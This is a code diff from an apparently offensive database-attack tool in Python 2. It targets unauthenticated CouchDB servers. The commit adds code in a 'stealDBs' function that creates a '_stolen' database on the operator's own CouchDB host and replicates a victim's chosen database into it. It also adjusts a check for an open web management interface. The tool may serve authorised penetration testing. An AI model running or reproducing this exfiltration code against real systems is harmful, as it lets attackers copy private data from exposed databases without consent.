1616
1717
1818import couchdb
19+ import urllib
1920import requests
2021import sys
2122import string
@@ -112,15 +113,15 @@ def netAttacks(target,port, myIP):
112113 return
113114
114115
115- mgtUrl = "http://" + target + ":5984/_utils "
116+ mgtUrl = "http://" + target + ":5984/"
116117 #Future rev: Add web management interface parsing
117118 try :
118119 mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
119120 if mgtRespCode == 200 :
120121 print "Sofa web management open at " + mgtUrl + ". No authentication required!"
121122
122123 except :
123- print "MongoDB web management closed or requires authentication."
124+ print "Sofa web management closed or requires authentication."
124125
125126 if mgtOpen == True :
126127 while mgtSelect :
@@ -146,7 +147,7 @@ def netAttacks(target,port, myIP):
146147
147148 if attack == "4" :
148149 print "\n "
149- stealDBs (myIP ,conn )
150+ stealDBs (myIP ,conn , target )
150151
151152 if attack == "5" :
152153 return
@@ -198,7 +199,7 @@ def enumDbs (couchConn,target):
198199
199200 return
200201
201- def stealDBs (myDB , couchConn ):
202+ def stealDBs (myDB , couchConn , target ):
202203 dbLoot = True
203204 menuItem = 1
204205 dbList = []
@@ -224,8 +225,9 @@ def stealDBs (myDB, couchConn):
224225 break
225226
226227 try :
227- print dbList [int (dbLoot )- 1 ] #debug
228- print "http://" + myDB + ":5984/" + dbList [int (dbLoot )- 1 ] + "_stolen" #debug
228+ #Create the DB target first
229+ myServer = couchdb .Server ("http://" + myDB + ":5984" )
230+ targetDB = myServer .create (dbList [int (dbLoot )- 1 ] + "_stolen" )
229231 couchConn .replicate (dbList [int (dbLoot )- 1 ],"http://" + myDB + ":5984/" + dbList [int (dbLoot )- 1 ] + "_stolen" )
230232
231233 cloneAnother = raw_input ("Database cloned. Copy another (y/n)? " )
@@ -236,8 +238,7 @@ def stealDBs (myDB, couchConn):
236238 else :
237239 return
238240
239- except Exception , e :
240- print e #Debug
241+ except :
241242 raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return..." )
242243 return
243244
0 commit comments